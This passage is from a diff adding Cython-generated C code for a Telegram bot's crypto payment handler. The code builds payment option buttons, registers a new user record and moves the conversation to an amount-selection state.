__Pyx_GetModuleGlobalName(__pyx_t_14, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 67, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + + /* "handlers/payments/cryprobot_pay.py":68 + * builder.row( + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], # <<<<<<<<<<<<<< + * callback_data=f'crypto_{PAYMENT_OPTIONS[i]["callback_data"]}', + * ) + */ + __pyx_t_11 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 68, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 68, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_10 = __Pyx_PyObject_GetItem(__pyx_t_3, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 68, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_Dict_GetItem(__pyx_t_10, __pyx_n_u_text); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 68, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_text, __pyx_t_3) < 0) __PYX_ERR(0, 68, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/cryprobot_pay.py":69 + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'crypto_{PAYMENT_OPTIONS[i]["callback_data"]}', # <<<<<<<<<<<<<< + * ) + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 69, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_10 = __Pyx_PyObject_GetItem(__pyx_t_3, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 69, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_Dict_GetItem(__pyx_t_10, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 69, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + __pyx_t_10 = __Pyx_PyObject_FormatSimple(__pyx_t_3, __pyx_empty_unicode); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 69, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyUnicode_Concat(__pyx_n_u_crypto, __pyx_t_10); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 69, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_callback_data, __pyx_t_3) < 0) __PYX_ERR(0, 68, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/cryprobot_pay.py":67 + * else: + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'crypto_{PAYMENT_OPTIONS[i]["callback_data"]}', + */ + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_14, __pyx_empty_tuple, __pyx_t_11); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 67, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_4))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_4); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_4, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_11, __pyx_t_3}; + __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_4, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 66, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + } + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + } + __pyx_L8:; + + /* "handlers/payments/cryprobot_pay.py":53 + * + * builder = InlineKeyboardBuilder() + * for i in range(0, len(PAYMENT_OPTIONS), 2): # <<<<<<<<<<<<<< + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( + */ + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/cryprobot_pay.py":72 + * ) + * ) + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay")) # <<<<<<<<<<<<<< + * key_count = await get_key_count(callback_query.message.chat.id) + * if key_count == 0: + */ + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 72, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 72, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 72, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_kp_u__2) < 0) __PYX_ERR(0, 72, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 72, __pyx_L1_error) + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 72, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_9))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_9); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_9, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_t_11}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 72, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/cryprobot_pay.py":73 + * ) + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay")) + * key_count = await get_key_count(callback_query.message.chat.id) # <<<<<<<<<<<<<< + * if key_count == 0: + * exists = await check_connection_exists(callback_query.message.chat.id) + */ + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_get_key_count); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 73, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 73, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_chat); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 73, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_id); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 73, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_9))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_9); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_9, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_t_11}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 73, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L10_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 73, __pyx_L1_error) + __pyx_t_1 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_1); + } else { + __pyx_t_1 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 73, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_key_count = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/cryprobot_pay.py":74 + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay")) + * key_count = await get_key_count(callback_query.message.chat.id) + * if key_count == 0: # <<<<<<<<<<<<<< + * exists = await check_connection_exists(callback_query.message.chat.id) + * if not exists: + */ + __pyx_t_2 = (__Pyx_PyInt_BoolEqObjC(__pyx_cur_scope->__pyx_v_key_count, __pyx_int_0, 0, 0)); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 74, __pyx_L1_error) + if (__pyx_t_2) { + + /* "handlers/payments/cryprobot_pay.py":75 + * key_count = await get_key_count(callback_query.message.chat.id) + * if key_count == 0: + * exists = await check_connection_exists(callback_query.message.chat.id) # <<<<<<<<<<<<<< + * if not exists: + * await add_connection( + */ + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_check_connection_exists); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 75, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 75, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_chat); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 75, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_id); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 75, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_9))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_9); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_9, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_t_11}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 75, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L12_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 75, __pyx_L1_error) + __pyx_t_1 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_1); + } else { + __pyx_t_1 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 75, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_exists = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/cryprobot_pay.py":76 + * if key_count == 0: + * exists = await check_connection_exists(callback_query.message.chat.id) + * if not exists: # <<<<<<<<<<<<<< + * await add_connection( + * tg_id=callback_query.message.chat.id, + */ + __pyx_t_2 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_exists); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 76, __pyx_L1_error) + __pyx_t_15 = (!__pyx_t_2); + if (__pyx_t_15) { + + /* "handlers/payments/cryprobot_pay.py":77 + * exists = await check_connection_exists(callback_query.message.chat.id) + * if not exists: + * await add_connection( # <<<<<<<<<<<<<< + * tg_id=callback_query.message.chat.id, + * balance=0.0, + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_add_connection); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 77, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + + /* "handlers/payments/cryprobot_pay.py":78 + * if not exists: + * await add_connection( + * tg_id=callback_query.message.chat.id, # <<<<<<<<<<<<<< + * balance=0.0, + * trial=0, + */ + __pyx_t_9 = __Pyx_PyDict_NewPresized(4); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 78, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 78, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_chat); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 78, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_id); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 78, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_tg_id, __pyx_t_11) < 0) __PYX_ERR(0, 78, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_balance, __pyx_float_0_0) < 0) __PYX_ERR(0, 78, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_trial, __pyx_int_0) < 0) __PYX_ERR(0, 78, __pyx_L1_error) + + /* "handlers/payments/cryprobot_pay.py":81 + * balance=0.0, + * trial=0, + * session=session, # <<<<<<<<<<<<<< + * ) + * await callback_query.message.answer( + */ + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_session, __pyx_cur_scope->__pyx_v_session) < 0) __PYX_ERR(0, 78, __pyx_L1_error) + + /* "handlers/payments/cryprobot_pay.py":77 + * exists = await check_connection_exists(callback_query.message.chat.id) + * if not exists: + * await add_connection( # <<<<<<<<<<<<<< + * tg_id=callback_query.message.chat.id, + * balance=0.0, + */ + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_9); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 77, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_11); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 4; + return __pyx_r; + __pyx_L14_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 77, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 77, __pyx_L1_error) + } + } + + /* "handlers/payments/cryprobot_pay.py":76 + * if key_count == 0: + * exists = await check_connection_exists(callback_query.message.chat.id) + * if not exists: # <<<<<<<<<<<<<< + * await add_connection( + * tg_id=callback_query.message.chat.id, + */ + } + + /* "handlers/payments/cryprobot_pay.py":74 + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay")) + * key_count = await get_key_count(callback_query.message.chat.id) + * if key_count == 0: # <<<<<<<<<<<<<< + * exists = await check_connection_exists(callback_query.message.chat.id) + * if not exists: + */ + } + + /* "handlers/payments/cryprobot_pay.py":83 + * session=session, + * ) + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * " :", + * reply_markup=builder.as_markup(), + */ + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 83, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_answer); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 83, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + + /* "handlers/payments/cryprobot_pay.py":85 + * await callback_query.message.answer( + * " :", + * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< + * ) + * await state.set_state(ReplenishBalanceState.choosing_amount_crypto) + */ + __pyx_t_11 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 85, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 85, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_4 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_4)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_4); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_4, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_5, 0+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 85, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_reply_markup, __pyx_t_1) < 0) __PYX_ERR(0, 85, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/cryprobot_pay.py":83 + * session=session, + * ) + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * " :", + * reply_markup=builder.as_markup(), + */ + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__4, __pyx_t_11); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 83, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 5; + return __pyx_r; + __pyx_L15_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 83, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 83, __pyx_L1_error) + } + } + + /* "handlers/payments/cryprobot_pay.py":87 + * reply_markup=builder.as_markup(), + * ) + * await state.set_state(ReplenishBalanceState.choosing_amount_crypto) # <<<<<<<<<<<<<< + * + * + */ + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 87, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 87, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_choosing_amount_crypto); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 87, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __pyx_t_9 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_11))) { + __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_11); + if (likely(__pyx_t_9)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_11); + __Pyx_INCREF(__pyx_t_9); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_11, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_9, __pyx_t_3}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_11, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 87, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 6; + return __pyx_r; + __pyx_L16_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 87, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 87, __pyx_L1_error) + } + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/cryprobot_pay.py":38 + * + * + * @router.callback_query(F.data == "pay_cryptobot") # <<<<<<<<<<<<<< + * async def process_callback_pay_cryptobot( + * callback_query: types.CallbackQuery, state: FSMContext, session: Any + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_4); + __Pyx_XDECREF(__pyx_t_9); + __Pyx_XDECREF(__pyx_t_10); + __Pyx_XDECREF(__pyx_t_11); + __Pyx_XDECREF(__pyx_t_12); + __Pyx_XDECREF(__pyx_t_13); + __Pyx_XDECREF(__pyx_t_14); + __Pyx_AddTraceback("process_callback_pay_cryptobot", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/cryprobot_pay.py":90 + * + * + * @router.callback_query(F.data.startswith("crypto_amount|")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_13cryprobot_pay_4process_amount_selection(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_13cryprobot_pay_4process_amount_selection = {"process_amount_selection", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_13cryprobot_pay_4process_amount_selection, __Pyx_METH_FASTCALL|METH_KEYWORDS, 